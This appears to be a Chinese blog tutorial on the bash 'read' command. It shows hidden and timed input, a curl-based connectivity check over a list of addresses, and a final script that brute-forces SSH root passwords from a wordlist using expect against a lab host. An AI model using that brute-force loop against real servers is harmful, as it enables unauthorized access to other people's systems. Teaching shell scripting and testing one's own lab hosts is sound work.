赞
踩
read选项可以获取用户输入
具体用法是read <变量>
-p: 指定一段文本
-s: 无显示读取,输入过程中不显示,适用于密码输入
-n: 统计输入的字符数,指定输入字符的数量
-t: 计时器,指定输入等待时间
- #!/bin/bash
- if read -t 5 -s -n 6 -p "Enter your password:" pass
- then
- echo
- echo $pass
- else
- echo
- echo "password error"
- fi
上面这段代码在倒计时五秒之后退出,输入是隐藏的,并且在统计到六个字符的时候退出
效果如下
read还有一个很厉害的功能,那就是从文件中读取
利用这个功能,我们可以去做一些密码测试,网页连通性测试
网页连通性测试
- #!/bin/bash
- cat ./ip.txt | while read ip
- do
- if `curl -vl $ip &> /dev/null`
- then
- echo
- echo "----------------------------------------------------------------txcg----------------------------------------------------------------------"
- echo "----------------------------------------------------------------txcg----------------------------------------------------------------------" > ./iptc.txt
- echo
- echo "$ip" > ./iptc.txt
- echo "$ip"
- echo
- curl -vl $ip &> ./iptc.txt
- echo " $( cat ./iptc.txt | grep HTTP/) "
- fi
- done
效果如下
密码爆破(由于只是测试,这段代码没有进行改进,会出现一些小问题)
- #!/bin/bash
- cat /root/shellbc/\$read/pass.txt | while read pass
- do
- echo
- echo $pass
- /usr/bin/expect << EOF
- spawn ssh root@192.168.20.13;
- sleep 3
- expect "*password:";
- send "$pass\r";
- expect eof
- EOF
- echo
- done
效果如下
他会对pass.txt里面的文本进行反复测试
这里由于没有做判断终止循环,他会一直试下去,可能需要手动改进
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。